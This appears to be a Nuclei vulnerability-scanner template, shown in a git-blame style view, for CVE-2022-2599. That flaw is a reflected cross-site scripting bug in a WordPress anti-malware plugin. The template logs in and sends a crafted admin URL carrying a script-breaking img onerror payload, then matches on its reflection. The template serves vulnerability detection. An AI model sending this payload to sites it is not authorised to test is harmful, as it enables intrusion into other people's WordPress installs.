2023-02-23 09:02:08 +00:00
|
|
|
id: CVE-2022-2599
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Anti-Malware Security and Brute-Force Firewall < 4.21.83 - Cross-Site Scripting
|
|
|
|
author: ritikchaddha
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
The plugin does not sanitise and escape some parameters before outputting them back in an admin dashboard, leading to Reflected Cross-Site Scripting.
|
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/276a7fc5-3d0d-446d-92cf-20060aecd0ef
|
|
|
|
- https://wordpress.org/plugins/gotmls/advanced/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2599
|
|
|
|
classification:
|
|
|
|
cve-id: CVE-2022-2599
|
|
|
|
metadata:
|
2023-02-23 11:30:54 +00:00
|
|
|
verified: "true"
|
|
|
|
tags: cve,cve2022,wordpress,wp-plugin,xss,gotmls,authenticated
|
2023-02-23 09:02:08 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2023-02-23 11:39:33 +00:00
|
|
|
|
2023-02-23 09:02:08 +00:00
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "</script><img src onerror=alert(document.domain)>"
|
|
|
|
- "GOTMLS_mt"
|
|
|
|
condition: and
|
2023-02-23 11:39:33 +00:00
|
|
|
|
2023-02-23 09:02:08 +00:00
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
2023-02-23 11:39:33 +00:00
|
|
|
|
2023-02-23 09:02:08 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|